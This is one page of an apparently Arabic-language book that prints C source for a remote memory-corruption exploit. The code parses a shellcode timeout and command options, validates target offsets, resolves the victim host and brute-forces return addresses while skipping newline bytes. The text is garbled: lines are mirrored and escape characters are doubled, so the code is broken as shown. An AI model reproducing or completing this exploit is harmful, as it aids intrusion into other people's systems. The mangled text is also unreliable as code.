Page 302 - بسم الله الرحمن الرحيم
P. 302

:default
                                            ;("\\\printf(\\\"[-] Better luck next time!\\\\n

                                                                                             ;break
                                                                                                     {

                                                                                             ;break

                                                                              /* optional stuff */
                                                                                       :'\\case \\'w

                                                                 ;(sc_timeout = atoi(optarg
                      printf(\\\"Waiting maximum %d seconds for replies from

                                                            ;(shellcode\\\\n\\\", sc_timeout
                                                                                             ;break

                                                                                       :'\\case \\'c
                                                                                 ;cmdz = optarg

                                                                                             ;break

                                                                                            :default
                                                                                           ;()usage

                                                                                             ;break
                                                                                                     {
                                                                                                     {

} (if(!victim.delta || !victim.retaddr || !victim.repretaddr || !victim.repzero
     printf(\\\"[-] Incomplete target. At least 1 argument is missing (nmap
                                                                                 ;("\\\style!!)\\\\n
                                                                                         ;return -1
                                                                                                     {

                                              ;("\\\ ..printf(\\\"[*] Resolving target host
                                                                                  ;(fflush(stdout

                                                              ;(he = gethostbyname(hostp
                                                                                               (if(he

                                                  ;(memcpy(&ia.s_addr, he->h_addr, 4
                      } (else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY
             ;(printf(\\\"There\\'z no %s on this side of the Net!\\\\n\\\", hostp

                                                                                         ;return -1
                                                                                                     {

                                                       ;((printf(\\\"%s\\\\n\\\", inet_ntoa(ia

                                                                                ;(()srand(getpid
                                                                 ;(signal(SIGPIPE, SIG_IGN
         } (for(owned = 0, progress = 0;;victim.retaddr += RET_ADDR_INC
                                                         /* skip invalid return adresses */
((if(memchr(&victim.retaddr, 0x0a, 4) || memchr(&victim.retaddr, 0x0d, 4

                                                                                         ;continue

                                                302
   297   298   299   300   301   302   303   304   305   306   307